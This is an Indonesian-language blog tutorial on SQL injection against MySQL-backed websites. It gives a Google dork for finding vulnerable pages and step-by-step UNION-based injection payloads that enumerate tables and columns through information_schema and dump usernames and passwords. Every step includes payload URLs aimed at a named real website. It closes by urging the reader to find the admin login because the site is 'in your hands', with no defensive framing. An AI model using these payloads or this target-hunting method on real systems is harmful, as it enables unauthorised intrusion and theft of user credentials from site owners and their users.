SQL Injection Tutorial



===========================================================

SQL INJEKSI

===========================================================

pengertian sql injection:

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

===========================================================

Yang perlu di ketahui sebelum sql injection pada mysql:

karakter: ',-

comments: /*,--

information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

inurl:"detail_event.php?e_id="


Langkah I :
===========================================================

Mencari Target yg vuln sql

Tambahkan karakter ' pada akhir site atau menambahkan karakter "-" untuk melihat apakah ada pesan error.

contoh: [site]/detail_event.php?e_id=189' atau [site]/detail_event.php?e_id=-189

http://www.lawlibrary.org/detail_event.php?e_id=-189


Langkah II :
===========================================================

mencari dan menghitung jlh table yang ada dlm db nya

gunakan perintah : order by

contoh: [site]/detail_event.php?e_id=-189 order by 1-- atau

[site]/detail_event.php?e_id=-189 order by 1/*

ceklah secara step by step...

misal: [site]/detail_event.php?e_id=-189 order by 1--

[site]/detail_event.php?e_id=-189 order by 2--

sehingga muncul error atau hilang pesan error...

misal: [site]/detail_event.php?e_id=-189 order by 12--

berarti yang kita ambil adalah sampai angka 11

menjadi [site]/detail_event.php?e_id=-189 order by 11--

http://www.lawlibrary.org/detail_event.php?e_id=-189 union all select 1,2,3,4,5,6,7,8,9,10,11--


Langkah III :
===========================================================

Melihat angka yg muncul

karena tadi error sampai angka 12

maka: [site]/detail_event.php?e_id=-189 union all select 1,2,3,4,5,6,7,8,9,10,11--

ok seumpama yg keluar angka 4

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi

misal: [site]/detail_event.php?e_id=-189 union select 1,2,3,version(),5,6,7,8,9,10,11-- atau

[site]/detail_event.php?e_id=-189 union select 1,2,3,@@version,5,6,7,8,9,10,11--

http://www.lawlibrary.org/detail_event.php?e_id=-189 union all select 1,2,3,version(),5,6,7,8,9,10,11--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From Information_schema..


Langkah IV :
===========================================================

Menampilkan table yg ada pada web tsb adalah

perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi

perintah from information_schema.tables where table_Schema=database()-- >>> dimasukan setelah angka terakhir

[site]/detail_event.php?e_id=-189 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_Schema.tables where table_Schema=database()--

seumpama table yang muncul adalah "users"

http://www.lawlibrary.org/detail_event.php?e_id=-189 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=database()--


Langkah V :
===========================================================

Menampilkan semua isi dari table tsb ( column )

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi

perintah from information_schema.columns where table_name=0xhexa >>> dimasukan setelah angka terakhir

[site]/detail_event.php?e_id=-189 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya

website yg digunakan untuk konversi :http://piclist.com/techref/ascii.htm

http://www.industrialtrainer.com/Unicode.shtm

http://www.dolcevie.com/js/converter.html

http://centricle.com/tools/ascii-hex/ [dan lain sebagainya]

contoh kata yg ingin di konversi yaitu users maka akan menjadi 7573657273

[site]/detail_event.php?e_id=-189 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=0x7573657273--

http://www.lawlibrary.org/detail_event.php?e_id=-189 union all select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11 from information_schema.columns where table_name=0x7573657273--


Langkah VI :
===========================================================

memunculkan apa yg tadi telah dikeluarkan dari table :

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi

perintah from (nama table berasal) >>> dimasukan setelah angka terakhir

contoh :

[site]/detail_event.php?e_id=-189 union all select 1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8,9,10,11 from (nama table berasal)--

contoh kata yang keluar adalah u_username,u_password

[site]/detail_event.php?e_id=-189 union all select 1,2,3,concat_ws(0x3a,u_username,u_password),5,6,7,8,9,10,11 from users--

http://www.lawlibrary.org/detail_event.php?e_id=-189 union all select 1,2,3,concat_ws(0x3a,u_username,u_password),5,6,7,8,9,10,11 from users--

dan lht hasilnya


Langkah VII :
===========================================================

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena web ada di tangan anda...



Salam

zhie_o



Responses

0 Respones to "SQL Injection Tutorial"

 
Return to top of page Copyright © 2012 | Powered by Sibukalipun